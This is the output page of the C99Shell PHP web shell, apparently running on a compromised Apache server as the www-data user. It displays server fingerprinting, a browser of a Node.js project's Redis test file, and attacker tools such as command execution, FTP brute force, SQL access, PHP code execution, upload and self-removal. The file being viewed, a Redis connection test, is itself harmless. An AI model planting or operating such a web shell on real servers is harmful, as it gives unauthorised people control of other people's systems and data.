!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/redis-connection/test/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     kill_connection_manually.test.js (1.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var test    = require('tape');
var dir     = __dirname.split('/')[__dirname.split('/').length-1];
var file    = dir + __filename.replace(__dirname, '') + " -> ";
var decache = require('decache');          // http://goo.gl/JIjK9Y

test(file +"Kill a Redis Connection", function(t) {
  var redisClient = require('../index.js')(); // connect
  t.equal(redisClient.address, '127.0.0.1:6379',
  "✓ Redis Client connected to: " + redisClient.address)
  redisClient.set('redis', 'FAST!', function(err, reply){
    redisClient.get('redis', function (err, reply) {
      t.equal(reply.toString(), 'FAST!', '✓ LOCAL Redis is ' +reply.toString());
      require('../index.js').kill();
      decache('../index.js');
      console.log('redisClient.connected: ', redisClient.connected);
      t.equal(redisClient.connected, false, "✓ Connection to Local Redis Killed!");
      t.end();
    });
  });
});

test(file +" Connect to LOCAL Redis instance Which was CLOSED in Previous Test", function(t) {
  delete process.env.REDISCLOUD_URL; // delete to ensure we use LOCAL Redis!
  redisClient = require('../index.js')(); // re-connect
  redisSub    = require('../index.js')('SUBSCRIBER');
  t.equal(redisClient.address, '127.0.0.1:6379',
  "✓ Redis Client RE-connected to: " + redisClient.address)
  redisClient.set('redis', 'RE-CONNECTED', function(err, reply){
    redisClient.get('redis', function (err, reply) {
      t.equal(reply.toString(), 'RE-CONNECTED', '✓ LOCAL Redis is ' +reply.toString());
      require('../index.js').killall();
      decache('../index.js');
      t.end();
    });
  });
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0107 ]--